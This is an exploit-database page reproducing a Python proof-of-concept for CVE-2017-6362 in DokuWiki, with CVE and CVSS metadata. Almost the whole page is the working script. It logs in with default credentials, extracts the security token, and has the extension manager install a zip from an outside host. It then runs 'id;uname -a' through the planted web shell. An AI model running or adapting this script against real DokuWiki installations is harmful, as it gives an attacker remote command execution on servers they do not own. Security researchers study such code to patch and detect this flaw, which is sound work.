Advertisement






DokuWiki Proof Of Concept Shell Upload

CVE Category Price Severity
CVE-2017-6362 CWE-434 Not available High
Author Risk Exploitation Type Date
Rack911 High Remote 2017-05-31
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017050233

Below is a copy:

DokuWiki Proof Of Concept Shell Uploadc@kali:~/src/napalm2.2/modules$ cat shell-dokuwiki.py
#!/usr/bin/env python
# shell-dokuwiki.py - module to upload shell, based on previous version
#   created 28.04.2017. Bug ('feature') is exploitable only
#   when you will have a valid credentials.
#   for this proof-of-concept you'll also need host with you.r/shell.zip
#

import sys
import re
import requests

print '[+] Module : dokuwiki - started.'

print
target = raw_input("[+] Hostname> ")
logMe = target + '/doku.php?id=start&do=login&sectok='
print

session = requests.session()
login_data = dict(u='user', p='bitnami')
req = session.post(logMe, data=login_data)

# 2nd req:
afterPage = target + '/doku.php?id=start&do=admin&page=extension&tab=install'
req2 = session.get(afterPage)

resp = req2.text
if 'Log Out' in resp:
  print '[+] We are logged-in as admin. Preparing shell...'


  req3 = session.get(afterPage)
  resp3 = req3.text

  pattern = re.compile('<input type="hidden" name="sectok" value="(.*?)"/>')
  found = re.search(pattern, resp3)

  if found:
    sectok = found.group(1)
    print '[+] Found "sectok":' + str( sectok )
    print '[+] Preparing shell params to upload'

    data_shell = {
        'sectok':sectok,
        'installurl':'http://192.168.1.205/mishell.zip'
    }
    reqshell = session.post(afterPage, data=data_shell)
    respshell = reqshell.text

    md5name = re.compile('<div class="success">Plugin (.*?) installed successfully</div>')
    foundmishell = re.search(md5name, respshell)

    if foundmishell:
      print '[+] Mishell name:' + str( foundmishell.group(1))

      shellUrl = target + '/lib/plugins/'+foundmishell.group(1)+'/mishell.php?x=id;uname -a'
      verify = session.get(shellUrl)
      vtext = verify.text

      print '  ',vtext
      print ''
      print '[+] Your shell should be here:', shellUrl

## can not log in
  else:
    print '[-] Can not login. Something is wrong :C'


print '[+] Module : dokuwiki - finished.'



Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum